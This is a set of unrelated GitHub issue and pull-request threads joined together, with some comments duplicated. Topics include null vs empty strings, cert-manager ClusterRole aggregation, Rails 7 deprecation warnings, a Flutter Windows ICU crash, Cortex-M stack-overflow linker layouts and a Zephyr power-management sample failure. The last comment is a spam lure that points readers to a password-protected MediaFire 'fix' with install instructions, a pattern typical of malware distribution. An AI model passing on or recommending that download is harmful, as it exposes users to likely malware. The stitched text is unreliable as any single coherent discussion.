In my opinion, an empty string and null are different in essence. It is the same as the difference between 0 for an Int and null. On one hand, you have a value (whatever it is and how it is interpreted as) and on the other hand, you don't have a value. An empty string isn't always interpreted as "not a value".
Moreover, I find it strange that when you create with an optional field you would have null on the field, but when you want to remove it, you then have ''. That's not consistent

I also want to insert null to field in Postgres... have you achieved it in any way?


chore(deps): upgrade jenkins-x/jx3-pipeline-catalog to version 3.6.13

from: https://github.com/jenkins-x/jx

/retest


Make aggregation to user-facing ClusterRoles optional

Signed-off-by: Richard Johansson<EMAIL_ADDRESS>Pull Request Motivation
It might not always be desirable to aggregate the -edit and -view ClusterRoles to the default user-facing roles. There should be an option to disable this, for example in order to adhere to a least privilege principle in a multi-tenant cluster setup.
Follow-up/enhancement of #902
Kind
/kind feature
Release Note
ClusterRoles aggregation to user-facing admin/edit/view ClusterRoles can be optionally turned off

Hi! As part of the effort of migrating from Bazel to Make, we have added two new Prow jobs that require this PR to be rebased on top of master in order to pass. The two Prow jobs that were added are pull-cert-manager-make-test and pull-cert-manager-make-e2e-v1-23.
Please let me know if you need help rebasing. 👍

/ok-to-test

Hi @illrill thanks for the PR, agree with the change, I've also tested it and it makes sense.
Could we please update the release note to include the fact that by default the roles are still aggregated i.e 'ClusterRole aggregation for admin/edit/view roles can be optionally turned off'?
Apart from that, the change makes sense to me 👍🏼
/lgtm
/approve

Hi @illrill thanks for the PR, agree with the change, I've also tested it and it works as expected. Could we please update the release note to include the fact that by default the roles are still aggregated i.e 'ClusterRole aggregation for admin/edit/view roles can be optionally turned off'?
Apart from that, the change makes sense to me 👍🏼
/lgtm /approve

Thanks @irbekrm. I have updated the release note in the PR description.


remove powerpointpainter try/except

remove the try/except block that protects a failure importing PowerPointPainter into the top-level namespace

Changes included in Rg51_3 directly.


Avoid Rails 7 deprecation warnings

@mauro-oto and I were pairing on a strange issue: migrations wouldn't run in production environment, but they would in development. That's because our app uses ActiveSupport::Deprecation.disallowed_warnings = :all, disallowing all deprecation warnings.
online_migrations chooses the API to call according to ActiveRecord's version, but it unnecessarily lets deprecation warnings go through. If we are on version 7.0 (or higher, yes), we can already use the new APIs with no warnings.
Two improvements I can imagine to avoid such errors are:

Test this gem with ActiveSupport warnings disallowed
Avoid environment specific branches, though in this case it may be fine https://github.com/fatkodima/online_migrations/blob/v0.4.1/lib/online_migrations/config.rb#L188:

# lib/online_migrations/config.rb
156:    # @note: It can be overriden by `ONLINE_MIGRATIONS_VERBOSE_SQL_LOGS` environment variable.
188:      @verbose_sql_logs = defined?(Rails) && Rails.env.production?

For now, this patch lets our migrations go through in production, without regressions to other versions.

@tute Thanks for the contribution ❤
Can you also add ActiveSupport::Deprecation.disallowed_warnings = :all to the test/test_helper.rb file?

Thank you for your gem!
Just did. If it doesn't fail on any of those version combinations I'll be suspicious. 😄

Thanks!!


Must be able to initialize the ICU context. Tried: D:\XX\emr_app\build\windows\runner\Debug\data\icudtl.dat

Steps to Reproduce

flutter create emr_app
flutter run -d windows
PS D:\workspace\flutter\emr_app> flutter run -d windows   Flutter assets will be downloaded from https://storage.flutter-io.cn. Make sure you trust this source! Launching lib\main.dart on Windows in debug mode... Building Windows application...    [FATAL:flutter/fml/icu_util.cc(98)] Check failed: context->IsValid(). Must be able to initialize the ICU context. Tried: D:\workspace\flutter\emr_app\build\windows\runner\Debug\data\icudtl.dat Error waiting for a debug connection: The log reader stopped unexpectedly, or never started. Error launching application on Windows.
flutter doctor -v

Flutter assets will be downloaded from https://storage.flutter-io.cn. Make sure you trust this source!
[√] Flutter (Channel stable, 2.10.5, on Microsoft Windows [Version 10.0.19044.2130], locale zh-CN)
    • Flutter version 2.10.5 at D:\software\flutter\flutter_windows_2.10.5-stable\flutter
    • Flutter version 2.10.5 at D:\software\flutter\flutter_windows_2.10.5-stable\flutter
    • Framework revision 5464c5bac7 (7 months ago), 2022-04-18 09:55:37 -0700
    • Framework revision 5464c5bac7 (7 months ago), 2022-04-18 09:55:37 -0700
    • Dart version 2.16.2
    • DevTools version 2.9.2
    • Pub download mirror https://pub.flutter-io.cn
    • Flutter download mirror https://storage.flutter-io.cn

[√] Android toolchain - develop for Android devices (Android SDK version 33.0.0)
    • Android SDK at D:\software\androidSdk
    • Platform android-33, build-tools 33.0.0
    • ANDROID_HOME = D:\software\androidSdk
    • Java binary at: D:\software\androidStudio\jre\bin\java
    • Java version OpenJDK Runtime Environment (build 11.0.13+0-b1751.21-8125866)
    • All Android licenses accepted.

[√] Chrome - develop for the web
    • Chrome at C:\Program Files\Google\Chrome\Application\chrome.exe

[√] Visual Studio - develop for Windows (Visual Studio Community 2019 16.11.20)
    • Visual Studio at D:\software\visualStudio\Community
    • Visual Studio Community 2019 version 16.11.32929.386
    • Windows 10 SDK version 10.0.19041.0

[√] Android Studio (version 2021.3)
    • Android Studio at D:\software\androidStudio
    • Flutter plugin can be installed from:
       https://plugins.jetbrains.com/plugin/9212-flutter
    • Dart plugin can be installed from:
       https://plugins.jetbrains.com/plugin/6351-dart
    • Java version OpenJDK Runtime Environment (build 11.0.13+0-b1751.21-8125866)

[√] Connected device (3 available)
    • Windows (desktop) • windows • windows-x64    • Microsoft Windows [Version 10.0.19044.2130]
    • Chrome (web)      • chrome  • web-javascript • Google Chrome 107.0.5304.87
    • Edge (web)        • edge    • web-javascript • Microsoft Edge 92.0.902.67

[√] HTTP Host Availability
    • All required HTTP hosts are available

Expected results:
Actual results:

Code sample

Logs

Hi @Joahyan, you are on an older version of flutter. Kindly upgrade to the latest version of flutter stable to see if you still experience the issue. If you do, please provide the updated output of flutter doctor -v along with the full output of flutter run -v.
Thank you

I upgraded to the latest version of flutter（windows 3.3.6） and still have this problem

Hi @Joahyan, please provide the full output of flutter run -d windows -v.  The output may be huge so kindly put it into a .txt or .log file and attach it here.
Thank you


Setup ruff, configure it and fix some problems

Replace pylint, isort and flake.
Ruff should cover all the above and more. It's used by fastapi and other big projects, so it seems safe enough.

Most of the code changes have been automatic fixes, but I have reviewed all and they at least seem to make sense

the lock file needs regeneration

Rebased/regenerated


(Zero cost) stack overflow protection

Today, the layout of RAM looks like this (assuming no heap and a single RAM region):

With this layout when a stack overflow occurs static variables end up being overwritten /
corrupted silently.
This scenario can be avoided by simply changing the memory layout to look like this:

In this new scenario a stack overflow will hit the lower RAM boundary. Trying to write beyond the
RAM boundaries raises a HardFault exception. Thus, in theory, the HardFault exception handler
could be used as a stack overflow handler.
In systems where heap memory, which by default starts where the static region ends and grows
upwards, exists a similar reordering of the regions can be applied.
Implementation
To my knowledge this can't be implement using only linker scripts. With a linker script you can
instruct the linker where to start a memory region but you can't specify the end address of the
region.
The related bits of the linker script we use are shown below:
PROVIDE(_stack_start = ORIGIN(RAM) + LENGTH(RAM));

SECTIONS
{
  /* .. */
  .bss : ALIGN(4)
  {
    _sbss = .;
    *(.bss .bss.*);
    . = ALIGN(4);
    _ebss = .;
  } > RAM

  .data : ALIGN(4)
  {
    _sidata = LOADADDR(.data);
    _sdata = .;
    *(.data .data.*);
    . = ALIGN(4);
    _edata = .;
  } > RAM AT > FLASH

  /* The heap starts right after the .bss + .data section ends */
  _sheap = _edata;

  /* .. */
}

A C implementation of this region reordering uses a two step linking process. See
this StackOverflow answer for details.
Other options for stack overflow protection
Assuming that we can't change the memory layout. We could:

Use the MPU (Memory Protection Unit) to mark the upper boundary of the static region as
read-only. In this scenario when a stack overflow occurs a MemManage exception is raised. This has
an initialization cost but no runtime cost. The downside is that not all microcontrollers have a
MPU.

Implement stack probes for the Cortex-M targets. I believe enabling stack probes carries a runtime
cost (per function call?) but I'm not sure.

You can achieve a similar result if you set a fixed size for a stack. You just create a section with that size at the beginning of RAM, and set the stack pointer to the end of a section.
Downside is that you waste some memory at the end.

@pftbest Yeah, I thought about that option but decided not to include it here because it seems to be very fram far from ideal. Reasons: (a) it requires user input (there's no sensible default, I think), (b) it's error-prone (e.g. if the selected stack space is too large you'll get an error about not being enough space to fit the static variables) and (c) it's not efficient (if you pick a stack size that's too small then you leave space unused, what you mentioned).

Implement stack probes for the Cortex-M targets. I believe enabling stack probes carries a runtime
cost (per function call?) but I'm not sure.

Stack probes only (currently) exist in Rust to avoid "jumping over" the guard page of the thread stack and into the heap. The old mechanism, which relied on segmented stacks and TLS slots, is dead and it would be really annoying to resurrect for this issue.

@japaric Anyway, I know how to do this. Place the static sections twice. The first time you place them, they go into /dev/null (via /DISCARD/ or something) but you can get the size with the SIZEOF operator. The second time, you use that result. So it's two-pass linking in one ld invocation.

Hi,
It looks like the fix in #43 was reverted as a side-effect of #64 as far as I understand. It looks like no support from cortex-m-rt is actually need to get stack overflow protection as well as maximum heap usage (related to #5) by using a memory.x like the following:
__stack_size = 0x10000;

MEMORY
{
  FLASH : ORIGIN = 0x00000000, LENGTH = 0x00100000
  RAM   : ORIGIN = 0x20000000 + __stack_size, LENGTH = 0x00040000 - __stack_size
}

_stack_start = ORIGIN(RAM);
__eheap = ORIGIN(RAM) + LENGTH(RAM);

Then initializing the heap with:
extern "C" {
    static mut __sheap: u32;
    static mut __eheap: u32;
}
let sheap = unsafe { &mut __sheap } as *mut u32 as usize;
let eheap = unsafe { &mut __eheap } as *mut u32 as usize;
assert!(sheap < eheap);
// Unsafe: Called only once before any allocation.
unsafe { ALLOCATOR.init(sheap, eheap - sheap) }

However, I wonder if cortex-m-rt should help the user to achieve this. I'm not sure how, so I'm asking in this issue. I can open a new issue if needed.
Thanks!

Hi,
It looks like the fix in #43 was reverted as a side-effect of #64 as far as I understand. It looks like no support from cortex-m-rt is actually need to get stack overflow protection as well as maximum heap usage (related to #5) by using a memory.x like the following:
__stack_size = 0x10000;

MEMORY
{
  FLASH : ORIGIN = 0x00000000, LENGTH = 0x00100000
  RAM   : ORIGIN = 0x20000000 + __stack_size, LENGTH = 0x00040000 - __stack_size
}

_stack_start = ORIGIN(RAM);
__eheap = ORIGIN(RAM) + LENGTH(RAM);

Then initializing the heap with:
extern "C" {
    static mut __sheap: u32;
    static mut __eheap: u32;
}
let sheap = unsafe { &mut __sheap } as *mut u32 as usize;
let eheap = unsafe { &mut __eheap } as *mut u32 as usize;
assert!(sheap < eheap);
// Unsafe: Called only once before any allocation.
unsafe { ALLOCATOR.init(sheap, eheap - sheap) }

However, I wonder if cortex-m-rt should help the user to achieve this. I'm not sure how, so I'm asking in this issue. I can open a new issue if needed.
Thanks!

The concept from #43 ended up in https://github.com/knurling-rs/flip-link which is probably the better way to do it (for now at least!). The problem with doing it in the linker script is you end up having to know in advance a specific size for the stack, so either you overestimate and things don't fit, or you end up with lots of unused RAM that could have been stack. With a tool like flip-link, the stack is automatically made as big as it can be. Ideally, the linker itself could figure this out for us, but I don't believe that's currently possible.

Hi @adamgreig ,
I'm aware of flip-link but I've hit https://github.com/knurling-rs/flip-link/issues/43 for one of the board I want to support (nRF52840-dongle using DFU where I need to reserve space at the beginning of the flash for the bootloader) so I stopped using it.

The problem with doing it in the linker script is you end up having to know in advance a specific size for the stack

This is not a problem if you use a heap, because both the stack and the heap are variable-sized. As long as you use only one (you always use a stack, so as long as you don't use a heap), you don't need a linker script. But as soon as you use a heap, you need to decide how to assign the non-data RAM between the stack and the heap, essentially choosing a size for both.
So the main issue I see with doing it in the linker script is that it's not convenient. The best scenario would be something like:

Specify the heap with some magic, e.g. #[cortex_m_rt::heap] static mut HEAP: [u8; HEAP_SIZE] = [0; HEAP_SIZE]; (the macro will just use the size of this symbol and ignore it from the binary). If the magic is missing, no heap is used.
Use flip-link (once the memory.x override bug is fixed) to get the stack-overflow protection.


samples: subsys: pm: device_pm: sample.power.ospm.dev_idle_pm fails

Describe the bug
The test sample.power.ospm.dev_idle_pm fails.
Observed for:

nrf52dk_nrf52832
nrf52840dk_nrf52840

To Reproduce
Steps to reproduce the behavior:

have nrf52840dk_nrf52840 connected
go to your zephyr dir
call ./scripts/twister -T samples/subsys/pm/device_pm/ -p nrf52840dk_nrf52840 --device-testing --device-serial /dev/ttyACM0 -v --inline-logs
See console output with error

Expected behavior
Valid console output
Impact
Not clear
Logs and console output
[2023-09-18T03:40:26.192Z] ERROR   - parent not found
[2023-09-18T03:40:26.192Z] child suspending..
[2023-09-18T03:40:26.192Z] parent suspending..
[2023-09-18T03:40:26.192Z] *** Booting Zephyr OS build zephyr-v3.4.0-3830-gad8f3e5b4e28 ***
[2023-09-18T03:40:26.192Z] Device PM sample app start
[2023-09-18T03:40:26.192Z] child resuming..
[2023-09-18T03:40:26.192Z] Dummy device resumed

Environment (please complete the following information):

OS: Ubuntu 20.04.1 LTS
Toolchain Zephyr SDK 0.16.0
Commit SHA or Version used: zephyr-v3.4.0-3830-gad8f3e5b4e28

could you send a PR deleting such sample? it looks like it adds no value, there are already tests and docs covering the same functionality.

commit that broke this:
4dd7bc997ffa6480afea93bb47236df04d36f7c4

could you send a PR deleting such sample? it looks like it adds no value, there are already tests and docs covering the same functionality.

There is value and probably it needs some love. I do not understand why it was locked on nordic hardware, this sample runs fine in qemu.


no-arrow-functions --fix incorrectly converts async functions

async () => {} is being automatically converted to synchronous functions by omitting the async before function(){}

I apologize for my late response. And thank you for your report.
I confirmed it. I will fix.

no worries at all, thank you for looking into it!


Documentation issue: mistyped option

In https://cms-hcomb.gitbooks.io/combine/content/part3/nonstandard.html#plotting
there are instructions of
"The pre-fit signal is by default for r=1 but this can be modified using the option --prefitValue."
After 15 mintues of debugging it turns out that the option is really --preFitValue .
Maybe this can be fixed in the documentation

@mmozercern , thanks for pointing this out - indeed it was incorrect in the documentation, but is now fixed.


Frontend build out

@jasonbarry hot-chicken (aka Koo Koo Drew) is all set to deploy as an API. So, I'm ready to start building out the frontend in React. Wanted your input on whether it makes the most sense to use Netlify to deploy and start a new repo referencing hot-chicken endpoints, or if it's better to continue to build out the frontend within the same repo.

@thedrewery where do you plan on hosting the backend? You can host the whole thing on Netlify, but you'd have to make the backend compatible in a serverless environment

@jasonbarry got it, that answers my question. I love serverless, but that's for another project. I'll host the backend on Render and create a new repo for the frontend hosted by Netlify. Thanks!


Script for collecting and logging stats

log_stats.py is a simple script that reads and logs stats from crawled profiles (json files). I use it for monitoring account growth over time. I thought it might be useful for others. If you don't feel it's useful for this repo, I'll just keep it on my own fork.
It doesn't affect the crawling functionality and can easily be automated using crontab (e.g., on RPi). I added a small section about in in the Readme.

@estebancortero Awesome! Thank you very much for adding on to this repos.


fix(mysql): 客户端克隆匹配ip问题修复

关联研发信息
dev_branch: fix/client_clone_ip_match_fix/#6476
target_branch: v1.5.0

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."